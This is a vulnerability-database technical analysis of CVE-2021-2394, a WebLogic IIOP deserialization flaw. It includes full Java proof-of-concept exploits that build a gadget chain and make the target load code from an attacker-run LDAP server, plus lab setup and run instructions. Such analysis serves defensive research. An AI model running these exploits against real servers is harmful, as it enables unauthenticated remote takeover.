Attacker Value
High
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
None
Privileges Required
None
Attack Vector
Network
2

CVE-2021-2394

Disclosure Date: July 21, 2021
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Execution
Techniques
Validation
Validated

Description

Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Add Assessment

5
Ratings
Technical Analysis

Description

On July 20, 2021 Oracle released their quarterly security advisory which describes a remote execution vulnerability in multiple versions of WebLogic Server. The vulnerability is assigned CVE-2021-2394 and NIST assigned it a critical CVSSv3 rating of 9.8. The vulnerability is accessible through IIOP, a protocol that WebLogic exposes to the internet by default, on port 7001.

Affected Products

WebLogic 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0.

Vulnerability Analysis

The vulnerability is the result of old ideas combined with new techniques . The first half of this vulnerability is similar to the exploitation path taken by CVE-2020-14825 (which is quite similar to it’s predecessor CVE-2020-14645). The second half of this vulnerability is similar to CVE-2020-14756. First, I’ll briefly outline the details of CVE-2020-14825 as many of the principles are the same

The PoC for CVE-2020-14825:

import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.util.comparator.ExtractorComparator;
import oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor;	
import org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor;
import ysoserial.payloads.util.Reflections;

import java.io.*;
import java.util.PriorityQueue;

public class CVE_2020_14825 {
    public static void main(String[] args) throws Exception {
        MethodAttributeAccessor accessor = new MethodAttributeAccessor();
        accessor.setAttributeName("Timeline Sec");
        accessor.setIsWriteOnly(true);
        accessor.setGetMethodName("getDatabaseMetaData");
//        accessor.setGetMethodName("connect");

        JdbcRowSetImpl jdbcRowSet = Reflections.createWithoutConstructor(com.sun.rowset.JdbcRowSetImpl.class);
        jdbcRowSet.setDataSourceName("ldap://192.168.247.128:1389/#Poc");

        LockVersionExtractor extractor = new LockVersionExtractor(accessor,"");

        PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(extractor));
        Reflections.setFieldValue(queue,"size",2);

        Object[] queueArray = (Object[])((Object[]) Reflections.getFieldValue(queue, "queue"));
        queueArray[0] = jdbcRowSet;

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(new File("cve_2020_14825.ser")));
        out.writeObject(queue);
        out.flush();
        out.close();
//        readObject();
    }

    public static void readObject() {
        FileInputStream fis = null;
        try {
            fis = new FileInputStream(new File("").getAbsolutePath() + "/cve_2020_14825.ser");
            ObjectInputStream ois = new ObjectInputStream(fis);
            ois.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

CVE-2020-14825 was patched by adding oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor and org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor to DEFAULT_BLACKLIST_CLASSES inside WebLogicFilterConfig.class which prevents these classes from being used to execute malicious code. (Quick note on CVE-2020-14645 mentioned above, it used com.tangosol.util.extractor.UniversalExtractor to execute code before that class was added to the blacklist in the same way LockVersionExtractor was blacklisted when patching CVE-2020-14825).

PoC for CVE-2021-2394:

import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.coherence.servlet.AttributeHolder;
import com.tangosol.util.SortedBag;
import com.tangosol.util.aggregator.TopNAggregator;
import oracle.eclipselink.coherence.integrated.internal.querying.FilterExtractor;
import org.eclipse.persistence.exceptions.DescriptorException;
import org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor;
import org.eclipse.persistence.mappings.AttributeAccessor;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.io.*;
import java.lang.reflect.*;
import java.util.Hashtable;


public class CVE_2021_2394 {
    public static void main(String[] args) throws Exception {

        String ldapurl = null;
        String rhost = null;
        try {
            String ip = args[0];
            String port = args[1];
            ldapurl = args[2];
            rhost = String.format("iiop://%s:%s", ip, port);
        } catch (Exception e) {
            System.out.println("请输入正确的格式:");
            System.out.println("java -jar CVE_2021_2394.jar rhost rport ldapurl");
            System.out.println("java -jar CVE_2021_2394.jar 192.168.137.1 7001 ldap://192.168.137.1:8087/Exploit");
            System.exit(0);
        }

        try {
            System.out.println("[*] Attacking...");
            MethodAttributeAccessor accessor = new MethodAttributeAccessor();
            accessor.setAttributeName("Timeline Sec");
            accessor.setGetMethodName("connect");
            accessor.setSetMethodName("setConnection");

            JdbcRowSetImpl jdbcRowSet = Reflections.createWithoutConstructor(JdbcRowSetImpl.class);
            jdbcRowSet.setDataSourceName(ldapurl);

            FilterExtractor extractor = new FilterExtractor(accessor);
            FilterExtractor extractor1 = new FilterExtractor(new TLSAttributeAccessor());

            SortedBag sortedBag = new TopNAggregator.PartialResult(extractor1, 2);
            AttributeHolder attributeHolder = new AttributeHolder();
            sortedBag.add(jdbcRowSet);

            Field m_comparator = sortedBag.getClass().getSuperclass().getDeclaredField("m_comparator");
            m_comparator.setAccessible(true);
            m_comparator.set(sortedBag, extractor);

            Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue", Object.class);
            setInternalValue.setAccessible(true);
            setInternalValue.invoke(attributeHolder, sortedBag);


//            Test locally:
//            FileOutputStream fileOutputStream = new FileOutputStream(new File("test.ser"));
//            ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
//            objectOutputStream.writeObject(attributeHolder);
//
//            readObject();

            Hashtable<String, String> env = new Hashtable<String, String>();
            env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
            env.put("java.naming.provider.url", rhost);
            Context context = new InitialContext(env);

            context.rebind("Timeline Sec"+System.nanoTime(), attributeHolder);
        } catch (Exception e) {
            if (e.getMessage().equals("Unhandled exception in rebind()")){
                System.out.println("[*] 发包成功 请自行检查是否利用成功");
            }else {
                e.printStackTrace();
            }
        }
    }


    public static class TLSAttributeAccessor extends AttributeAccessor {

        public Object getAttributeValueFromObject(Object o) throws DescriptorException {
            return this.attributeName;
        }

        public void setAttributeValueInObject(Object o, Object o1) throws DescriptorException {
            this.attributeName = "Timeline Sec";
        }
    }

    public static void readObject() {
        FileInputStream fis = null;
        try {
            fis = new FileInputStream(new File("").getAbsolutePath() + "/test.ser");
            ObjectInputStream ois = new ObjectInputStream(fis);
            ois.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

You’ll notice the two above PoCs are almost identical up until 14825 calls: LockVersionExtractor extractor = new LockVersionExtractor(accessor,""); which was blacklisted. Researchers were forced to find other means to execute code (note the game of cat and mouse/ blacklist and find another vulnerable class, played by Oracle and security researchers).

Enter FilterExtractor which resides in oracle.eclipselink.coherence.integrated.internal.querying and has the following method: readExternal
Screen Shot 2021-11-03 at 1 23 24 PM

If we follow the readAttributeAccessor method we see that when the parameter id = 1, a MethodAttributeAccessor object is returned. You may be thinking – but MethodAttributeAccessor was just added to the blacklist in the October 2020 Critical Patch Update and couldn’t be used to maliciously execute code. You’re correct but when the MethodAttributeAccessor object is returned by readAttributeAccessor, it doesn’t go through the deserialization process, avoids being caught by the blacklist and thus can still be used in exploitation.
Screen Shot 2021-11-03 at 1 37 13 PM

So MethodAttributeAccessor can still be used and gets assigned to this.attributeAccessor once returned from readAttributeAccessor. There’s no way found to bypass the blacklisting of LockVersionExtractor#Extract in which the initializeAttributes and getAttributeValueFromObject methods of the accessor are called. However none was needed as FilterExtractor#extract, shown below, effectively provides the same functionality:
Screen Shot 2021-11-03 at 2 23 10 PM

Calling FilterExtractor#extract will in turn invoke MethodAttributeAccessor#getAttributeValueFromObject. This method gets reflected by the implementation of the getMethod that gets passed anObject and parameters. Note anObject is attacker controlled while parameters will always be null which means only the no-argument method will be able to be called.
Screen Shot 2021-11-03 at 3 13 58 PM

If you’re familiar with previous WebLogic serialization exploits you’ll know JdbcRowSetImpl is a perfect candidate for an Object that will fit this use case while being able to be instantiated with a no-argument constructor.

Now all that needs to be done is to find a place to call FilterExtractor#readExternal first and then FilterExtractor#extract. This is where we can utilize ideas from CVE-2020-14756 in order to accomplish this.

Start off by using: 
com.tangosol.util.aggregator.TopNAggregator$PartialResult#readExternal
The readExternal method does three things for us:

  1. It uses ExternalizableHelper#readObject to deserialize the comparator assignment to m_comparator.
  2. Then creates a map with m_comparator via PartialResult#instantiateInternalMap
  3. Then calls PartialResult#add to add the method to add the data to the map



readExternal

If we follow the ExternalizableHelper#readObject, knowing that DataInput is not an instance of PInputStream, we know readObjectInternal gets called.

two_read_object

readObjectInternal

If the object implements the ExternalizableLite interface, the readExternalizableLite method will be called

readExternalizeableLite


Once called, it instantiates the object in the form of class loading and then calls the readExternal of the obtained object as seen above.

If we look at PartialResult#instantiateInternalMap we see users m_comparator to instantiate a TreeMap:

instantiateInternalMap

Now by following PartialResult#add we see super.add is called:

PartialResult_add

Which in this context is com.tangosol.util.SortedBag#add. This method gets the TreeMap that has just been instantiated and calls the put method to insert the data into the map:
 SortedBag_add

TreeMap#put gets called in the above which class this.comparator#compare and finally AbstractExtractor#compare which calls the this.comparator#extract method:
compare

And finally we see above that in the process of returning the SafeComparator, this.comparator#extract is called on the attacker-controlled object, and boom goes the dynamite.

Running the PoC

1. Environment Setup

As noted by the PoC PR, you need to ensure you test with a JDK lower than: 6u211, 7u201, 8u191 or 11.0.1 as LDAP restrictions have been put in place in the aforementioned JDKs to prevent exploitation. I found this tool from the QAX-A-TEAM’s github repository helpful for building the test environment. The tool allows you to build a specific version of weblogic with a specific JDK in a single command.

  • With Oracle credentials, download Oracle WebLogic Server 12.2.1.3 – Generic
  • Unzip the file downloaded and place fmw_12.2.1.3.0_wls.jar inside WeblogicEnvironment/weblogics
  • Again with Oracle credentials download jdk-8u121-linux-x64.tar.gz
  • Place the zipped file downloaded in WeblogicEnvironments/jdks
  • Build the image:
    
    docker build --no-cache --progress=plain --build-arg JDK_PKG=jdk-8u121-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=fmw_12.2.1.3.0_wls.jar -t weblogic_12 .
    

  • Run the container:
    
    docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic_12 weblogic_12
    

2. Enable local exploitation

The following article describes the network issues faced when attempting to run the PoC in a virtualized 10.3.6.0 environment:

8.5. Summary of the problem
When requesting NameService from Weblogic through the IIOP protocol, Weblogic directly uses the local ip address as the bind address to construct the address information reply, the client resolves the address information, and directly accesses the address when bind, but the bind fails due to the inability to access the real intranet address .

The PoC is written for 12.2.1.3.0 so rewriting the processing logic is slightly different though the principle is the same. WebLogic’s package structure in 12.x is much different than in 10.x. The tutorial above instructs to hard code the attacking IP in wlfullclient.jar!\weblogic\iiop\IOPProfile.class, although you may notice that class/ parent jar is non-existent in 12.2.1.3.0.

If you run the PoC without making any changes to WebLogic you should see the following stack trace:
stacktrace_IORManager

From which we deduce the issue likely resides in: weblogic.iiop.IORManager.locateNameService(IORManager.java:119) based on the problem summary above.
I found Recaf useful for editing the compiled java code above. Either download and compile from source or download one of the releases. Note it mentions if you run Recaf with java 8 there are a number of prerequisites that must be satisfied in order for it to run smoothly. To avoid this warning you can download the latest java 11 and run with it:

  • Copy the jar that IORManager.class resides in from the container to the host: docker cp weblogic_12:/u01/app/oracle/middleware/wlserver/modules/com.oracle.weblogic.iiop.jar ./
  • Start recaf with java 11:
    
    /home/msfuser/jdk-11.0.13/bin/java -jar recaf-2.21.3-J8-jar-with-dependencies.jar

  • Locate and open IORManager.class in classes/weblogic/iiop/IORManager.class and open it by double clicking:
    sourcecode_before
    The highlighted line above is where weblogic gets the incorrect host address due to containerization and is the line that will need to be edited.
  • Right click method name createInitialReference and select Edit with assembler. Scroll down to where the parameters that are passed to IORManger.create start getting pushed onto the stack
    bytecode_before
  • Make the following changes in order to hardcode the IP address of the attacking machine:
    bytecode_after
  • Copy the edited jar back to the container: docker cp com.oracle.weblogic.iiop.jar weblogic_12:/u01/app/oracle/middleware/wlserver/modules/com.oracle.weblogic.iiop.jar

3. Setup LDAP server

For the LDAP server used for JNDI injection, the following github repository is quite useful. Build from source or download the release. Run the following command to start the server. Note the JDK 1.8 LDAP URL, as it needs to be passed to the exploit.

start_ldap_server

4. Run the PoC

Download the PoC and run the following command:
poc_run_success

Note we no longer get the stack trace, instead non-English characters that Google translate’s to:

“The package is successfully issued, please check whether the use is successful”

Check the container’s tmp folder:
boom_goes_the_dynamite
Note that the payload was successfully delivered.

References

Vuln Analysis
https://mp.weixin.qq.com/s/onoMpyenDkMmsoGEw8VO2A
https://mp.weixin.qq.com/s/onoMpyenDkMmsoGEw8VO2A
https://mp.weixin.qq.com/s/AxJJxbkclr4ijXX8lpNAfw
https://github.com/rufherg/WebLogic_Basic_Poc/blob/master/poc/CVE_2020_14645.java
https://github.com/rufherg/WebLogic_Basic_Poc/blob/master/poc/CVE_2020_14825.java
https://github.com/Y4er/CVE-2020-14756/blob/main/CVE_2020_14756.java
https://github.com/lz2y/CVE-2021-2394/blob/main/CVE_2021_2394.java

PoC Testing
https://l3yx.github.io/2020/04/22/Weblogic-IIOP-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://xz.aliyun.com/t/7498
https://www.cnblogs.com/ph4nt0mer/archive/2019/10/31/11772709.html

CVSS V3 Severity and Metrics
Base Score:
9.8 Critical
Impact Score:
5.9
Exploitability Score:
3.9
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High

General Information

Vendors

  • Oracle Corporation

Products

  • WebLogic Server

Additional Info

Technical Analysis